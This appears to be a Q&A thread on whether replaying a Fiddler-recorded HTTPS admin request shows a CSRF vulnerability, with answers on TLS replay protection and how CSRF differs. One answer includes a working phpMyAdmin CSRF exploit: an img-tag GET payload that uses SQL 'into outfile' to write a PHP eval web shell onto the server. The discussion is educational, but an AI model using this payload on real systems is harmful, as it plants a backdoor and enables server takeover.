Menu
Let's say a security tester uses a proxy, say Fiddler, and records an HTTPS request using the administrator's credentials-- on replay of the entire request (including session and auth cookies) the security tester is able to succesfully (re)record transactions. The claim is that this is a sign of a CSRF vulnerability.
What would a malicious user have to do to intercept the HTTPS request and replay it? It this a task for script kiddies, well funded military hacking teams or time-traveling-alien technology? Is it really so easy to record the SSL sessions of users and replay them before the tickets expire?
No code in the application currently does anything interesting on HTTP GET, so AFAIK, tricking the admin into clicking a link or loading a image with a malicious URL isn't an issue.
467
HTTPS simply means that the data being transported is encrypted so that only the client and server can decrypt it (in an ideal world, not talking about MITM attacks etc). As such, nothing in the protocol will stop replay attacks from happening.
One example of a replay attack is to replay the message sent to a network by an attacker, which was earlier sent by an authorized user.
The SSL/TLS channel itself is protected against replay attacks using the MAC (Message Authentication Code), computed using the MAC secret and the sequence number. (The MAC mechanism is what ensures the TLS communication integrity).
A replay attack is a kind of man-in-the-middle attack in which an attacker sniffs messages being sent on a channel to intercept them and resend them under the cloak of authentic messages.
HTTPS is not replayable, the first server response in the handshake sequence includes a server-chosen random number.
What Fiddler does is act as a proxy, meaning it intercepts your browser's requests, and then generates an identical request to the server, meaning it has access to the plaintext, which is what it will be replaying. Your browser lets you know this by telling you the certificate is from Fiddler - "DO_NOT_TRUST_FiddlerRoot", which you have to agree to before it will send the message ignoring the certificate mismatch.
57
What you are describing is not a CSRF vulnerability. HTTPS specifically defends against re-play attacks of raw cipher text and prevents the attacker from knowing the contents of the request.
It is important to note that HTTPS does not defend against CSRF. If the attacker knows what the GET/POST variables should be then he is able to build malicious html that when it is executed by a target will perform the action the attacker desires. If the web application isn't public and he the attacker doesn't know an HTTP request looks like, then they can't forge the request. For instance here is a CSRF exploit i wrote against phpMyAdmin. I have modified this exploit to work with https, and all i had to do was change the url from http:// to https:// .
<html> <img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> </html> This exploit uses mysql's "into outfile" to drop a backdoor. It work with no-script, becuase it is forging a GET request, and the browser thinks its an image until its too late.
23
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With
